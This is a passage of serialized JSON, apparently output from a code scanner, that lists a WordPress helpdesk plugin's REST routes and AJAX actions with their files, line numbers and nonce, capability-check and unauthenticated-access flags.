\\class-wpsc-rest-agents.php",{"type":394,"name":1349,"callback":833,"file":1347,"line":611},"wpsc_rest_register_routes",{"type":394,"name":395,"callback":1271,"priority":352,"file":1351,"line":28},"includes\\rest-api\\class-wpsc-rest-attachment.php",{"type":394,"name":1349,"callback":833,"file":1351,"line":408},{"type":394,"name":1349,"callback":833,"file":1354,"line":28},"includes\\rest-api\\class-wpsc-rest-categories.php",{"type":394,"name":1349,"callback":833,"file":1356,"line":28},"includes\\rest-api\\class-wpsc-rest-current-user.php",{"type":394,"name":395,"callback":1346,"file":1358,"line":608},"includes\\rest-api\\class-wpsc-rest-custom-fields.php",{"type":394,"name":1349,"callback":833,"file":1358,"line":611},{"type":394,"name":1349,"callback":833,"file":1361,"line":428},"includes\\rest-api\\class-wpsc-rest-customers.php",{"type":394,"name":1363,"callback":1346,"file":1364,"line":608},"wpsc_rest_load_ticket_prevent_data","includes\\rest-api\\class-wpsc-rest-individual-ticket.php",{"type":394,"name":1349,"callback":833,"file":1366,"line":28},"includes\\rest-api\\class-wpsc-rest-priorities.php",{"type":394,"name":1349,"callback":833,"file":1368,"line":28},"includes\\rest-api\\class-wpsc-rest-sf-ratings.php",{"type":394,"name":1349,"callback":833,"file":1370,"line":28},"includes\\rest-api\\class-wpsc-rest-statuses.php",{"type":394,"name":1349,"callback":833,"file":1372,"line":28},"includes\\rest-api\\class-wpsc-rest-tickets.php",{"type":394,"name":395,"callback":1374,"file":1375,"line":611},"wpsc_upgrade_send_admin_email","upgrade\\class-wpsc-upgrade-db-v1.php",{"type":394,"name":464,"callback":465,"priority":313,"file":1375,"line":419},{"type":394,"name":460,"callback":1378,"file":1375,"line":421},"wpsc_upgrade_enqueue_scripts",{"type":394,"name":395,"callback":1380,"file":1375,"line":323},"wpsc_upgrade_register_post_type",{"type":394,"name":395,"callback":1382,"file":1375,"line":491},"cron_manager",{"type":394,"name":1384,"callback":402,"file":1375,"line":449},"wpsc_upgrade_v1",{"type":394,"name":395,"callback":1374,"file":1386,"line":28},"upgrade\\class-wpsc-upgrade-db-v2.php",{"type":394,"name":464,"callback":465,"priority":313,"file":1386,"line":408},{"type":394,"name":460,"callback":1378,"file":1386,"line":411},{"type":394,"name":395,"callback":1380,"file":1386,"line":414},{"type":394,"name":395,"callback":1382,"file":1386,"line":622},{"type":394,"name":1392,"callback":402,"file":1386,"line":428},"wpsc_upgrade_v2",[1394,1398,1402,1405,1408,1411,1415,1418,1421,1424,1427,1430,1433,1436,1439,1442,1445,1448,1451,1454,1458,1461,1462,1465,1466,1469,1470,1473,1474,1477,1478,1482,1483,1486,1487,1490,1491,1494,1497,1500,1504,1507,1510,1511,1514,1517,1520,1521,1523,1524,1525,1528,1531,1534,1537,1540,1543,1546,1549,1552,1553,1557,1560,1563,1568,1571,1573,1576,1579,1582,1585,1588,1591,1594,1597,1600,1603,1605,1607,1611,1615,1618,1622,1623,1626,1627,1631,1634,1635,1639,1641,1643,1646,1648,1650,1653,1655,1657,1660,1662,1664,1667,1669,1671,1674,1677,1679,1681,1685,1688,1690,1693,1696,1699,1702,1706,1709,1712,1715,1718,1721,1724,1728,1731,1734,1737,1740,1743,1746,1749,1752,1756,1757,1760,1761,1764,1765,1768,1769,1772,1773,1777,1778,1781,1784,1787,1789,1791,1794,1797,1800,1803,1806,1809,1812,1815,1819,1820,1823,1824,1828,1829,1832,1833,1837,1838,1842,1846,1847,1851,1852,1856,1857,1859,1861,1863,1865,1867,1869,1872,1874,1876,1878,1881,1883,1885,1888,1891,1893,1895,1897,1899,1901,1903,1905,1907,1909,1911,1913,1915,1918,1920,1922,1925,1927,1929,1932,1934,1936,1939,1941,1943,1946,1950,1953,1956,1959,1962,1965,1968,1971,1974,1977,1981,1984,1987,1990,1993,1996,1999,2002,2005,2008,2011,2014,2017,2020,2023,2026,2029,2032,2036,2039,2042,2046,2049,2052,2055,2058,2061,2064,2067,2070,2073,2076,2079,2082,2085,2088,2091,2094,2097,2100,2103,2106,2109,2112,2115,2118,2121,2124,2127,2130,2133,2136,2139,2142,2146,2148,2152,2153,2156,2157,2160,2161,2164,2165,2169,2170,2173,2174,2177,2178,2181,2182,2186,2187,2190,2191,2194,2195,2199,2201,2204,2206,2209,2212,2214,2217,2219,2222,2223,2226,2227,2230,2231,2234,2236,2239,2240,2243,2244,2248,2249,2253,2255,2258,2260,2264,2266,2270,2272,2276,2278,2282,2284,2288,2290,2294,2296,2300,2302,2306,2308,2311,2313,2317,2319,2323,2325,2329,2331,2334,2336,2340,2342,2346,2347,2350,2351,2354,2355,2358,2359,2362,2363,2366,2367,2370,2371,2373,2374,2377,2378,2381,2382,2386,2387,2390,2392,2396,2397,2400,2402,2405,2407,2411,2413,2416,2418,2422,2423,2427,2429,2432,2433,2436,2438,2441,2442,2445,2446,2449,2450,2453,2454,2457,2458,2461,2462,2465,2468,2472,2476,2477,2480,2481,2484,2487,2490,2491,2494,2495,2498,2501,2505,2506,2509,2510,2513,2516,2519,2520,2524,2527,2531,2532,2535,2536,2539,2542,2546,2549,2552,2555,2558,2561,2562,2565,2566,2569,2572,2573,2576,2577,2580,2581,2584,2585,2588,2591,2595,2598,2601,2602,2605,2608,2611,2612,2615,2616,2618,2619,2622,2625,2628,2632,2635,2638,2641,2644,2647,2648,2651,2654,2656,2657,2659,2660,2663,2664,2667,2669,2673,2675,2679,2681,2685,2688,2689,2692,2693,2696,2697,2700,2701,2704,2705,2708,2712,2715,2716,2719,2721,2724,2725,2728,2729,2732,2735,2738,2741,2744,2747,2750,2753,2756,2759,2762,2765,2768,2771,2773,2775],{"action":1395,"nopriv":52,"callback":1396,"hasNonce":52,"hasCapCheck":52,"file":1397,"line":408},"wpsc_get_agent_leaves","get_agent_leaves","includes\\admin\\agent-settings\\class-wpsc-agent-leaves.php",{"action":1399,"nopriv":52,"callback":1400,"hasNonce":1401,"hasCapCheck":52,"file":1397,"line":411},"wpsc_get_agent_leave_events","get_agent_leave_events",true,{"action":1403,"nopriv":52,"callback":1404,"hasNonce":1401,"hasCapCheck":52,"file":1397,"line":414},"wpsc_get_add_agent_leaves","get_add_agent_leaves",{"action":1406,"nopriv":52,"callback":1407,"hasNonce":1401,"hasCapCheck":52,"file":1397,"line":416},"wpsc_set_add_agent_leaves","set_add_agent_leaves",{"action":1409,"nopriv":52,"callback":1410,"hasNonce":1401,"hasCapCheck":52,"file":1397,"line":419},"wpsc_delete_agent_leave","delete_agent_leave",{"action":1412,"nopriv":52,"callback":1413,"hasNonce":52,"hasCapCheck":52,"file":1414,"line":408},"wpsc_get_agent_roles","get_agent_roles","includes\\admin\\agent-settings\\class-wpsc-agent-roles.php",{"action":1416,"nopriv":52,"callback":1417,"hasNonce":1401,"hasCapCheck":52,"file":1414,"line":118},"wpsc_get_add_agent_role","get_add_agent_role",{"action":1419,"nopriv":52,"callback":1420,"hasNonce":1401,"hasCapCheck":52,"file":1414,"line":414},"wpsc_set_add_agent_role","set_add_agent_role",{"action":1422,"nopriv":52,"callback":1423,"hasNonce":1401,"hasCapCheck":52,"file":1414,"line":611},"wpsc_get_clone_agent_role","get_clone_agent_role",{"action":1425,"nopriv":52,"callback":1426,"hasNonce":1401,"hasCapCheck":52,"file":1414,"line":823},"wpsc_get_edit_agent_role","get_edit_agent_role",{"action":1428,"nopriv":52,"callback":1429,"hasNonce":1401,"hasCapCheck":52,"file":1414,"line":622},"wpsc_set_edit_agent_role","set_edit_agent_role",{"action":1431,"nopriv":52,"callback":1432,"hasNonce":1401,"hasCapCheck":52,"file":1414,"line":579},"wpsc_delete_agent_role","delete_agent_role",{"action":1434,"nopriv":52,"callback":1435,"hasNonce":52,"hasCapCheck":52,"file":441,"line":408},"wpsc_get_agent_list","get_agent_list",{"action":1437,"nopriv":52,"callback":1438,"hasNonce":52,"hasCapCheck":52,"file":441,"line":118},"wpsc_get_add_agent","get_add_agent",{"action":1440,"nopriv":52,"callback":1441,"hasNonce":1401,"hasCapCheck":52,"file":441,"line":414},"wpsc_set_add_agent","set_add_agent",{"action":1443,"nopriv":52,"callback":1444,"hasNonce":1401,"hasCapCheck":52,"file":441,"line":611},"wpsc_get_edit_agent","get_edit_agent",{"action":1446,"nopriv":52,"callback":1447,"hasNonce":1401,"hasCapCheck":52,"file":441,"line":419},"wpsc_set_edit_agent","set_edit_agent",{"action":1449,"nopriv":52,"callback":1450,"hasNonce":1401,"hasCapCheck":52,"file":441,"line":622},"wpsc_delete_agent","delete_agent",{"action":1452,"nopriv":52,"callback":1453,"hasNonce":1401,"hasCapCheck":52,"file":441,"line":579},"wpsc_search_wp_users","search_wp_users",{"action":1455,"nopriv":52,"callback":1456,"hasNonce":52,"hasCapCheck":52,"file":1457,"line":408},"wpsc_get_agents_working_hrs","get_agents_working_hrs","includes\\admin\\agent-settings\\class-wpsc-agent-working-hrs.php",{"action":1459,"nopriv":52,"callback":1460,"hasNonce":1401,"hasCapCheck":52,"file":1457,"line":118},"wpsc_get_agents_wh_hrs","get_agents_wh_hrs",{"action":1459,"nopriv":1401,"callback":1460,"hasNonce":1401,"hasCapCheck":52,"file":1457,"line":414},{"action":1463,"nopriv":52,"callback":1464,"hasNonce":1401,"hasCapCheck":52,"file":1457,"line":611},"wpsc_get_agents_wh_exceptions","get_agents_wh_exceptions",{"action":1463,"nopriv":1401,"callback":1464,"hasNonce":1401,"hasCapCheck":52,"file":1457,"line":419},{"action":1467,"nopriv":52,"callback":1468,"hasNonce":1401,"hasCapCheck":52,"file":1457,"line":622},"wpsc_set_agent_wh_hrs","set_agent_wh_hrs",{"action":1467,"nopriv":1401,"callback":1468,"hasNonce":1401,"hasCapCheck":52,"file":1457,"line":323},{"action":1471,"nopriv":52,"callback":1472,"hasNonce":1401,"hasCapCheck":52,"file":1457,"line":654},"wpsc_get_add_agent_wh_exception","get_add_agent_wh_exception",{"action":1471,"nopriv":1401,"callback":1472,"hasNonce":1401,"hasCapCheck":52,"file":1457,"line":431},{"action":1475,"nopriv":52,"callback":1476,"hasNonce":1401,"hasCapCheck":52,"file":1457,"line":491},"wpsc_set_add_agent_wh_exception","set_add_agent_wh_exception",{"action":1475,"nopriv":1401,"callback":1476,"hasNonce":1401,"hasCapCheck":52,"file":1457,"line":515},{"action":1479,"nopriv":52,"callback":1480,"hasNonce":1401,"hasCapCheck":52,"file":1457,"line":1481},"wpsc_get_edit_agent_wh_exception","get_edit_agent_wh_exception",41,{"action":1479,"nopriv":1401,"callback":1480,"hasNonce":1401,"hasCapCheck":52,"file":1457,"line":451},{"action":1484,"nopriv":52,"callback":1485,"hasNonce":1401,"hasCapCheck":52,"file":1457,"line":454},"wpsc_set_edit_agent_wh_exception","set_edit_agent_wh_exception",{"action":1484,"nopriv":1401,"callback":1485,"hasNonce":1401,"hasCapCheck":52,"file":1457,"line":575},{"action":1488,"nopriv":52,"callback":1489,"hasNonce":1401,"hasCapCheck":52,"file":1457,"line":535},"wpsc_delete_agent_wh_exception","delete_agent_wh_exception",{"action":1488,"nopriv":1401,"callback":1489,"hasNonce":1401,"hasCapCheck":52,"file":1457,"line":1207},{"action":1492,"nopriv":52,"callback":1493,"hasNonce":52,"hasCapCheck":52,"file":469,"line":449},"wpsc_get_agent_only_fields","get_agent_only_fields",{"action":1495,"nopriv":52,"callback":1496,"hasNonce":1401,"hasCapCheck":52,"file":474,"line":1218},"wpsc_get_add_new_custom_field","get_add_new_custom_field",{"action":1498,"nopriv":52,"callback":1499,"hasNonce":1401,"hasCapCheck":52,"file":474,"line":290},"wpsc_get_add_new_custom_field_properties","get_add_new_custom_field_properties",{"action":1501,"nopriv":52,"callback":1502,"hasNonce":1401,"hasCapCheck":52,"file":474,"line":1503},"wpsc_set_add_new_custom_field","set_add_new_custom_field",74,{"action":1505,"nopriv":52,"callback":1506,"hasNonce":1401,"hasCapCheck":52,"file":474,"line":1192},"wpsc_get_edit_custom_field","get_edit_custom_field",{"action":1508,"nopriv":52,"callback":1509,"hasNonce":1401,"hasCapCheck":52,"file":474,"line":1195},"wpsc_set_edit_custom_field","set_edit_custom_field",{"action":497,"nopriv":52,"callback":498,"hasNonce":1401,"hasCapCheck":52,"file":474,"line":1251},{"action":1512,"nopriv":52,"callback":1513,"hasNonce":52,"hasCapCheck":52,"file":490,"line":301},"wpsc_get_customer_fields","get_customer_fields",{"action":1515,"nopriv":52,"callback":1516,"hasNonce":52,"hasCapCheck":52,"file":495,"line":301},"wpsc_get_ticket_fields","get_ticket_fields",{"action":1518,"nopriv":52,"callback":1519,"hasNonce":52,"hasCapCheck":52,"file":499,"line":416},"wpsc_get_tff","get_tff",{"action":1040,"nopriv":52,"callback":1041,"hasNonce":52,"hasCapCheck":52,"file":499,"line":419},{"action":1522,"nopriv":52,"callback":1047,"hasNonce":1401,"hasCapCheck":52,"file":499,"line":421},"wpsc_set_add_new_tff",{"action":1050,"nopriv":52,"callback":1051,"hasNonce":1401,"hasCapCheck":52,"file":499,"line":323},{"action":1053,"nopriv":52,"callback":1054,"hasNonce":1401,"hasCapCheck":52,"file":499,"line":428},{"action":1526,"nopriv":52,"callback":1527,"hasNonce":1401,"hasCapCheck":52,"file":499,"line":431},"wpsc_delete_tff","delete_tff",{"action":1529,"nopriv":52,"callback":1530,"hasNonce":1401,"hasCapCheck":52,"file":506,"line":408},"wpsc_get_customer_list","get_customer_list",{"action":1532,"nopriv":52,"callback":1533,"hasNonce":1401,"hasCapCheck":52,"file":506,"line":118},"wpsc_view_customer_info","view_customer_info",{"action":1535,"nopriv":52,"callback":1536,"hasNonce":1401,"hasCapCheck":52,"file":506,"line":608},"wpsc_get_edit_customer_info","get_edit_customer_info",{"action":1538,"nopriv":52,"callback":1539,"hasNonce":1401,"hasCapCheck":52,"file":506,"line":611},"wpsc_set_edit_customer_info","set_edit_customer_info",{"action":1541,"nopriv":52,"callback":1542,"hasNonce":1401,"hasCapCheck":52,"file":506,"line":823},"wpsc_view_customer_logs","view_customer_logs",{"action":1544,"nopriv":52,"callback":1545,"hasNonce":1401,"hasCapCheck":52,"file":506,"line":428},"wpsc_delete_customer","delete_customer_info",{"action":1547,"nopriv":52,"callback":1548,"hasNonce":1401,"hasCapCheck":52,"file":506,"line":451},"wpsc_view_customer_detailed_info","view_customer_detailed_info",{"action":1550,"nopriv":52,"callback":1551,"hasNonce":1401,"hasCapCheck":52,"file":506,"line":454},"wpsc_upw_get_recent_activities","get_upw_recent_activities",{"action":1550,"nopriv":1401,"callback":1551,"hasNonce":1401,"hasCapCheck":52,"file":506,"line":575},{"action":1554,"nopriv":52,"callback":1555,"hasNonce":52,"hasCapCheck":52,"file":1556,"line":408},"wpsc_get_en_guest_login_otp","get_settings","includes\\admin\\email-notifications\\class-wpsc-en-guest-login-otp.php",{"action":1558,"nopriv":52,"callback":1559,"hasNonce":1401,"hasCapCheck":52,"file":1556,"line":411},"wpsc_set_en_guest_login_otp","set_settings",{"action":1561,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":1556,"line":341},"wpsc_reset_en_guest_login_otp","reset_settings",{"action":1564,"nopriv":52,"callback":1565,"hasNonce":52,"hasCapCheck":52,"file":1566,"line":1567},"wpsc_get_en_general_setting","get_engs","includes\\admin\\email-notifications\\class-wpsc-en-settings-gs.php",15,{"action":1569,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":1566,"line":1199},"wpsc_set_en_general","save_settings",{"action":1572,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":1566,"line":28},"wpsc_reset_en_general",{"action":1574,"nopriv":52,"callback":1575,"hasNonce":52,"hasCapCheck":52,"file":563,"line":654},"wpsc_get_ticket_notifications","get_ticket_notifications",{"action":1577,"nopriv":52,"callback":1578,"hasNonce":52,"hasCapCheck":52,"file":563,"line":436},"wpsc_en_get_add_ticket_notification","get_add_ticket_notification",{"action":1580,"nopriv":52,"callback":1581,"hasNonce":1401,"hasCapCheck":52,"file":563,"line":491},"wpsc_en_set_add_ticket_notification","set_add_ticket_notification",{"action":1583,"nopriv":52,"callback":1584,"hasNonce":1401,"hasCapCheck":52,"file":563,"line":301},"wpsc_en_get_edit_ticket_notification","get_edit_ticket_notification",{"action":1586,"nopriv":52,"callback":1587,"hasNonce":1401,"hasCapCheck":52,"file":563,"line":1481},"wpsc_en_set_edit_ticket_notification","set_edit_ticket_notification",{"action":1589,"nopriv":52,"callback":1590,"hasNonce":1401,"hasCapCheck":52,"file":563,"line":526},"wpsc_en_delete_ticket_notification","delete_ticket_notification",{"action":1592,"nopriv":52,"callback":1593,"hasNonce":1401,"hasCapCheck":52,"file":563,"line":530},"wpsc_en_get_clone_ticket_notification","get_clone_ticket_notification",{"action":1595,"nopriv":52,"callback":1596,"hasNonce":1401,"hasCapCheck":52,"file":563,"line":458},"wpsc_en_set_clone_ticket_notification","set_clone_ticket_notification",{"action":1598,"nopriv":52,"callback":1599,"hasNonce":1401,"hasCapCheck":52,"file":563,"line":475},"wpsc_en_enable_disable_template","enable_disable_template",{"action":1601,"nopriv":52,"callback":1555,"hasNonce":52,"hasCapCheck":52,"file":1602,"line":408},"wpsc_get_en_user_reg_otp","includes\\admin\\email-notifications\\class-wpsc-en-user-reg-otp.php",{"action":1604,"nopriv":52,"callback":1559,"hasNonce":1401,"hasCapCheck":52,"file":1602,"line":411},"wpsc_set_en_user_reg_otp",{"action":1606,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":1602,"line":341},"wpsc_reset_en_user_reg_otp",{"action":1608,"nopriv":52,"callback":1609,"hasNonce":52,"hasCapCheck":52,"file":1610,"line":28},"wpsc_license_sync","sync_licenses","includes\\admin\\misc\\class-wpsc-license.php",{"action":1612,"nopriv":52,"callback":1613,"hasNonce":1401,"hasCapCheck":52,"file":1614,"line":1567},"wpsc_add_new_option","add_new","includes\\admin\\misc\\class-wpsc-option-controller.php",{"action":1616,"nopriv":52,"callback":1617,"hasNonce":1401,"hasCapCheck":52,"file":1614,"line":1199},"wpsc_set_edit_option","update_option",{"action":1619,"nopriv":52,"callback":1620,"hasNonce":1401,"hasCapCheck":52,"file":1621,"line":1567},"wpsc_get_ticket_filter_operators","get_operators","includes\\admin\\misc\\class-wpsc-ticket-filter.php",{"action":1619,"nopriv":1401,"callback":1620,"hasNonce":1401,"hasCapCheck":52,"file":1621,"line":1199},{"action":1624,"nopriv":52,"callback":1625,"hasNonce":1401,"hasCapCheck":52,"file":1621,"line":408},"wpsc_get_ticket_filter_operands","get_operands",{"action":1624,"nopriv":1401,"callback":1625,"hasNonce":1401,"hasCapCheck":52,"file":1621,"line":411},{"action":1628,"nopriv":52,"callback":1629,"hasNonce":1401,"hasCapCheck":52,"file":1630,"line":1199},"wpsc_get_recent_activities","get_recent_activities","includes\\admin\\recent-activities\\class-wpsc-ra-logs.php",{"action":1632,"nopriv":52,"callback":1633,"hasNonce":1401,"hasCapCheck":52,"file":1630,"line":408},"wpsc_ra_agents_autocomplete","ra_agents_autocomplete",{"action":1632,"nopriv":1401,"callback":1633,"hasNonce":1401,"hasCapCheck":52,"file":1630,"line":411},{"action":1636,"nopriv":52,"callback":1637,"hasNonce":52,"hasCapCheck":52,"file":1638,"line":408},"wpsc_get_ap_agent_collision","load_settings_ui","includes\\admin\\settings\\appearence\\class-wpsc-appearence-agent-collision.php",{"action":1640,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":1638,"line":411},"wpsc_set_ap_agent_collision",{"action":1642,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":1638,"line":341},"wpsc_reset_ap_agent_collision",{"action":1644,"nopriv":52,"callback":1637,"hasNonce":52,"hasCapCheck":52,"file":1645,"line":408},"wpsc_get_ap_dashboard","includes\\admin\\settings\\appearence\\class-wpsc-appearence-dashboard.php",{"action":1647,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":1645,"line":411},"wpsc_set_ap_dashboard",{"action":1649,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":1645,"line":341},"wpsc_reset_ap_dashboard",{"action":1651,"nopriv":52,"callback":1637,"hasNonce":52,"hasCapCheck":52,"file":1652,"line":408},"wpsc_get_ap_general","includes\\admin\\settings\\appearence\\class-wpsc-appearence-general.php",{"action":1654,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":1652,"line":411},"wpsc_set_ap_general",{"action":1656,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":1652,"line":341},"wpsc_reset_ap_general",{"action":1658,"nopriv":52,"callback":1637,"hasNonce":52,"hasCapCheck":52,"file":1659,"line":408},"wpsc_get_ap_individual_ticket","includes\\admin\\settings\\appearence\\class-wpsc-appearence-indidual-ticket.php",{"action":1661,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":1659,"line":411},"wpsc_set_ap_individual_ticket",{"action":1663,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":1659,"line":341},"wpsc_reset_ap_individual_ticket",{"action":1665,"nopriv":52,"callback":1637,"hasNonce":52,"hasCapCheck":52,"file":1666,"line":408},"wpsc_get_ap_modal_popup","includes\\admin\\settings\\appearence\\class-wpsc-appearence-modal-popup.php",{"action":1668,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":1666,"line":411},"wpsc_set_ap_modal_popup",{"action":1670,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":1666,"line":341},"wpsc_reset_ap_modal_popup",{"action":1672,"nopriv":52,"callback":1673,"hasNonce":52,"hasCapCheck":52,"file":578,"line":515},"wpsc_get_appearence_settings","get_appearence_settings",{"action":1675,"nopriv":52,"callback":1637,"hasNonce":52,"hasCapCheck":52,"file":1676,"line":408},"wpsc_get_ap_ticket_list","includes\\admin\\settings\\appearence\\class-wpsc-appearence-ticket-list.php",{"action":1678,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":1676,"line":411},"wpsc_set_ap_ticket_list",{"action":1680,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":1676,"line":341},"wpsc_reset_ap_ticket_list",{"action":1682,"nopriv":52,"callback":1683,"hasNonce":52,"hasCapCheck":52,"file":1684,"line":1199},"wpsc_get_ticket_categories","get_ticket_categories","includes\\admin\\settings\\class-wpsc-ticket-categories.php",{"action":1686,"nopriv":52,"callback":1687,"hasNonce":52,"hasCapCheck":52,"file":1684,"line":411},"wpsc_get_add_new_category","get_add_new_category",{"action":1689,"nopriv":52,"callback":1689,"hasNonce":1401,"hasCapCheck":52,"file":1684,"line":341},"wpsc_set_add_category",{"action":1691,"nopriv":52,"callback":1692,"hasNonce":1401,"hasCapCheck":52,"file":1684,"line":416},"wpsc_get_edit_category","get_edit_category",{"action":1694,"nopriv":52,"callback":1695,"hasNonce":1401,"hasCapCheck":52,"file":1684,"line":608},"wpsc_set_edit_category","set_edit_category",{"action":1697,"nopriv":52,"callback":1698,"hasNonce":1401,"hasCapCheck":52,"file":1684,"line":421},"wpsc_get_delete_category","get_delete_category",{"action":1700,"nopriv":52,"callback":1701,"hasNonce":1401,"hasCapCheck":52,"file":1684,"line":823},"wpsc_set_delete_category","set_delete_category",{"action":1703,"nopriv":52,"callback":1704,"hasNonce":52,"hasCapCheck":52,"file":1705,"line":1199},"wpsc_get_ticket_priorities","get_priorities","includes\\admin\\settings\\class-wpsc-ticket-priorities.php",{"action":1707,"nopriv":52,"callback":1708,"hasNonce":52,"hasCapCheck":52,"file":1705,"line":411},"wpsc_get_add_new_priority","get_add_new_priority",{"action":1710,"nopriv":52,"callback":1711,"hasNonce":1401,"hasCapCheck":52,"file":1705,"line":341},"wpsc_set_add_priority","set_add_priority",{"action":1713,"nopriv":52,"callback":1714,"hasNonce":1401,"hasCapCheck":52,"file":1705,"line":416},"wpsc_get_edit_priority","get_edit_priority",{"action":1716,"nopriv":52,"callback":1717,"hasNonce":1401,"hasCapCheck":52,"file":1705,"line":608},"wpsc_set_edit_priority","set_edit_priority",{"action":1719,"nopriv":52,"callback":1720,"hasNonce":1401,"hasCapCheck":52,"file":1705,"line":421},"wpsc_get_delete_priority","get_delete_priority",{"action":1722,"nopriv":52,"callback":1723,"hasNonce":1401,"hasCapCheck":52,"file":1705,"line":823},"wpsc_set_delete_priority","set_delete_priority",{"action":1725,"nopriv":52,"callback":1726,"hasNonce":52,"hasCapCheck":52,"file":1727,"line":1199},"wpsc_get_ticket_statuses","get_statuses","includes\\admin\\settings\\class-wpsc-ticket-statuses.php",{"action":1729,"nopriv":52,"callback":1730,"hasNonce":52,"hasCapCheck":52,"file":1727,"line":411},"wpsc_get_add_new_status","get_add_new_status",{"action":1732,"nopriv":52,"callback":1733,"hasNonce":1401,"hasCapCheck":52,"file":1727,"line":341},"wpsc_set_add_status","set_add_status",{"action":1735,"nopriv":52,"callback":1736,"hasNonce":1401,"hasCapCheck":52,"file":1727,"line":416},"wpsc_get_edit_status","get_edit_status",{"action":1738,"nopriv":52,"callback":1739,"hasNonce":1401,"hasCapCheck":52,"file":1727,"line":608},"wpsc_set_edit_status","set_edit_status",{"action":1741,"nopriv":52,"callback":1742,"hasNonce":1401,"hasCapCheck":52,"file":1727,"line":421},"wpsc_get_delete_status","get_delete_status",{"action":1744,"nopriv":52,"callback":1745,"hasNonce":1401,"hasCapCheck":52,"file":1727,"line":823},"wpsc_set_delete_status","set_delete_status",{"action":1747,"nopriv":52,"callback":1748,"hasNonce":52,"hasCapCheck":52,"file":589,"line":1199},"wpsc_get_ticket_widget","get_ticket_widget",{"action":1750,"nopriv":52,"callback":1751,"hasNonce":1401,"hasCapCheck":52,"file":589,"line":28},"wpsc_set_tw_load_order","set_tw_load_order",{"action":1753,"nopriv":52,"callback":1754,"hasNonce":52,"hasCapCheck":52,"file":1755,"line":416},"wpsc_dash_card_closed_tickets","get_count","includes\\admin\\settings\\dashboard-settings\\cards\\class-wpsc-dbc-closed-tickets.php",{"action":1753,"nopriv":1401,"callback":1754,"hasNonce":52,"hasCapCheck":52,"file":1755,"line":608},{"action":1758,"nopriv":52,"callback":1754,"hasNonce":52,"hasCapCheck":52,"file":1759,"line":416},"wpsc_dash_card_mine_tickets","includes\\admin\\settings\\dashboard-settings\\cards\\class-wpsc-dbc-mine-tickets.php",{"action":1758,"nopriv":1401,"callback":1754,"hasNonce":52,"hasCapCheck":52,"file":1759,"line":608},{"action":1762,"nopriv":52,"callback":1754,"hasNonce":52,"hasCapCheck":52,"file":1763,"line":416},"wpsc_dash_card_new_tickets","includes\\admin\\settings\\dashboard-settings\\cards\\class-wpsc-dbc-new-tickets.php",{"action":1762,"nopriv":1401,"callback":1754,"hasNonce":52,"hasCapCheck":52,"file":1763,"line":608},{"action":1766,"nopriv":52,"callback":1754,"hasNonce":52,"hasCapCheck":52,"file":1767,"line":416},"wpsc_dash_card_unassigned_tickets","includes\\admin\\settings\\dashboard-settings\\cards\\class-wpsc-dbc-unassigned-tickets.php",{"action":1766,"nopriv":1401,"callback":1754,"hasNonce":52,"hasCapCheck":52,"file":1767,"line":608},{"action":1770,"nopriv":52,"callback":1754,"hasNonce":52,"hasCapCheck":52,"file":1771,"line":416},"wpsc_dash_card_unresolved_tickets","includes\\admin\\settings\\dashboard-settings\\cards\\class-wpsc-dbc-unresolved-tickets.php",{"action":1770,"nopriv":1401,"callback":1754,"hasNonce":52,"hasCapCheck":52,"file":1771,"line":608},{"action":1774,"nopriv":52,"callback":1775,"hasNonce":1401,"hasCapCheck":52,"file":1776,"line":28},"wpsc_dash_card_count_filter","set_filter","includes\\admin\\settings\\dashboard-settings\\class-wpsc-dashboard-action.php",{"action":1774,"nopriv":1401,"callback":1775,"hasNonce":1401,"hasCapCheck":52,"file":1776,"line":408},{"action":1779,"nopriv":52,"callback":1780,"hasNonce":52,"hasCapCheck":52,"file":591,"line":1199},"wpsc_get_dashboard_cards_settings","get_dashboard_cards",{"action":1782,"nopriv":52,"callback":1783,"hasNonce":1401,"hasCapCheck":52,"file":591,"line":411},"wpsc_set_dashboard_card_load_order","set_dashboard_card_load_order",{"action":1785,"nopriv":52,"callback":1786,"hasNonce":52,"hasCapCheck":52,"file":594,"line":419},"wpsc_get_dashboard_general_settings","get_dashboard_general_widgets",{"action":1788,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":594,"line":421},"wpsc_set_dashboard_general_settings",{"action":1790,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":594,"line":823},"wpsc_reset_dashboard_general_settings",{"action":1792,"nopriv":52,"callback":1793,"hasNonce":52,"hasCapCheck":52,"file":596,"line":515},"wpsc_get_dashboard_settings","get_dashboard_settings",{"action":1795,"nopriv":52,"callback":1796,"hasNonce":1401,"hasCapCheck":52,"file":596,"line":1481},"wpsc_get_edit_dashboard_card_widget","get_edit_dashboard_card_widget",{"action":1798,"nopriv":52,"callback":1799,"hasNonce":1401,"hasCapCheck":52,"file":596,"line":451},"wpsc_set_edit_dashboard_card_widget","set_edit_dashboard_card_widget",{"action":1801,"nopriv":52,"callback":1802,"hasNonce":52,"hasCapCheck":52,"file":600,"line":611},"wpsc_get_dashboard_widgets_settings","get_dashboard_widgets",{"action":1804,"nopriv":52,"callback":1805,"hasNonce":1401,"hasCapCheck":52,"file":600,"line":823},"wpsc_get_new_dashboard_widget","get_new_dashboard_widget",{"action":1807,"nopriv":52,"callback":1808,"hasNonce":1401,"hasCapCheck":52,"file":600,"line":622},"wpsc_set_new_dashboard_widget","set_new_dashboard_widget",{"action":1810,"nopriv":52,"callback":1811,"hasNonce":1401,"hasCapCheck":52,"file":600,"line":579},"wpsc_delete_dashboard_widget","delete_dashboard_widget",{"action":1813,"nopriv":52